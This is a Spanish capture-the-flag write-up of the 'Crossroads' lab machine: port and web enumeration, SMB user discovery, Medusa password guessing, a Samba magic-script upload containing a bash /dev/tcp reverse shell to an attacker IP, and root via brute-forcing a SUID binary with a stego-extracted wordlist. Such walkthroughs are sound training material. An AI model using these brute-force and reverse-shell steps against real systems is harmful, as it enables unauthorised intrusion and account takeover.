Enumeración de servicios
Enumeramos puertos:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.20
❯ nmap -sCV -p80,139,445 -oN 02-targeted.txt 192.168.1.20
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-21 17:03 -04
Nmap scan report for 192.168.1.20
Host is up (0.00028s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/crossroads.png
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 12 Step Treatment Center | Crossroads Centre Antigua
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open oOV Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Service Info: Host: CROSSROADS
...❯ gobuster dir -u 'http://192.168.1.20' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/note.txt (Status: 200) [Size: 108]
/crossroads.png (Status: 200) [Size: 1100255]
...
❯ cat note.txt
just find three kings of blues
then move to the crossroads
-------------------------------
-abuzerkomurcuSMB User Enumeration y password guessing
Enumeramos SMB con enum4linux y descubrimos el usuario local albert. La nota web sobre los tres reyes del blues orienta el diccionario hacia nombres relacionados, pero la contraseña se confirma únicamente cuando el servicio SMB acepta bradley1:
❯ enum4linux -a 192.168.1.20
...
user:[albert] rid:[0x3e9]
...Probamos candidatos con Medusa contra una sola cuenta conocida, una forma de password guessing:
❯ medusa -u albert -P ~/Documentos/wordlists/rockyou.txt -h 192.168.1.20 -M smbnt
...
ACCOUNT FOUND: [smbnt] Host: 192.168.1.20 User: albert Password: bradley1 [SUCCESS (ADMIN$ - Share Unavailable)]
...Acceso inicial mediante Samba Magic Script
Listamos los recursos compartidos y, en el home de albert, encontramos smbshare junto con un smb.conf. La directiva magic script = smbscript.sh indica que Samba ejecutará un archivo con ese nombre cuando el cliente termine de escribirlo y lo cierre. Como el recurso es escribible por albert, quien controla el archivo controla el script que consume el servicio:
❯ smbclient //192.168.1.20/albert -U albert
smb: \> ls
smbshare D 0 Tue Mar 2 19:16:13 2021
crossroads.png N 1583196 Tue Mar 2 19:34:03 2021
beroot N 16664 Tue Mar 2 20:02:41 2021
user.txt N 32 Tue Mar 2 20:15:18 2021❯ cat smb.conf
...
[smbshare]
path = /home/albert/smbshare
valid users = albert
writable = yes
magic script = smbscript.sh
...Subimos un smbscript.sh que abre una reverse shell. La ejecución ocurre con la identidad bajo la que Samba atiende esa operación, que en la evidencia es albert:
❯ cat smbscript.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.3/1234 0>&1
❯ smbclient //192.168.1.20/smbshare -U albert
smb: \> put smbscript.sh
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.20:48236.
bash: cannot set terminal process group (763): Inappropriate ioctl for device
bash: no job control in this shell
albert@crossroads:/home/albert/smbshare$Escalada mediante un binario SUID
Obtenemos la primera flag. En el home hay una crossroads.png distinta de la descargada; al procesarla con StegoVeritas obtenemos un wordlist:
❯ stegoveritas crossroads.pngTambién hay un binario SUID llamado beroot que pide una contraseña. Como el ejecutable pertenece a root, cualquier acción privilegiada que realice después de validar el valor ocurre con ese UID efectivo. Probamos el wordlist extraído con un bucle y observamos que lemuel activa una rama distinta:
albert@crossroads:/home/albert$ for PASSWD in $(cat wordlist.txt); do echo $PASSWD >> tmp; echo $PASSWD | ./beroot >> tmp; done
albert@crossroads:/home/albert$ cat tmp
...
lemuel
enter password for root
-----------------------
do ls and find root creds
...La rama privilegiada crea rootcreds y expone la contraseña de root. El cambio de comportamiento y el archivo resultante, no el simple hecho de que el binario tenga SUID, confirman la explotación:
albert@crossroads:/home/albert$ cat rootcreds
root
___drifting___
albert@crossroads:/home/albert$ su root
Password: ___drifting___
id
uid=0(root) gid=0(root) groups=0(root)Obtenemos nuestra flag.
Fin.